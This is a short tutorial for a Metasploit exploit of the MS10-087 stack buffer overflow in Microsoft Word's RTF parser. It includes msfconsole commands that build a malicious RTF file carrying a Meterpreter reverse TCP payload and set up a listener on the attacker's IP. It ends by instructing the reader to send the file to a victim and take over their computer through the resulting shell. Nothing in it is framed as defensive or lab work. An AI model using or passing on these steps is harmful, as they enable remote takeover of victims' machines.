Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)
This module exploits a stack-based buffer overflow in the handling of the ‘pFragments’ shape property within the Microsoft Word RTF parser. All versions of Microsoft Office 2010, 2007, 2003, and XP prior to the release of the MS10-087 bulletin are vulnerable. This module does not attempt to exploit the vulnerability via Microsoft Outlook. The Microsoft Word RTF parser was only used by default in versions of Microsoft Word itself prior to Office 2007. With the release of Office 2007, Microsoft began using the Word RTF parser, by default, to handle rich-text messages within Outlook as well. It was possible to configure Outlook 2003 and earlier to use the Microsoft Word engine too, but it was not a default setting. It appears as though Microsoft Office 2000 is not vulnerable. It is unlikely that Microsoft will confirm or deny this since Office 2000 has reached its support cycle end-of-life

Requirement
Attacker: Backtrack 5
Victim PC: Windows 7
Open backtrack terminal type msfconsole
Msf exploit (ms10_087_rtf_pfragments_bof)>set payload windows/meterpreter/reverse_tcp
Msf exploit (ms10_087_rtf_pfragments_bof)>set lhost 192.168.1.3 (IP of Local Host)
Msf exploit (ms10_087_rtf_pfragments_bof)>exploit
After we successfully generate the malicious rtf, it will stored on your local computer
/root/.msf4/local/msf.rtf
Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.3
exploit
Now send your msf.rtf files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer
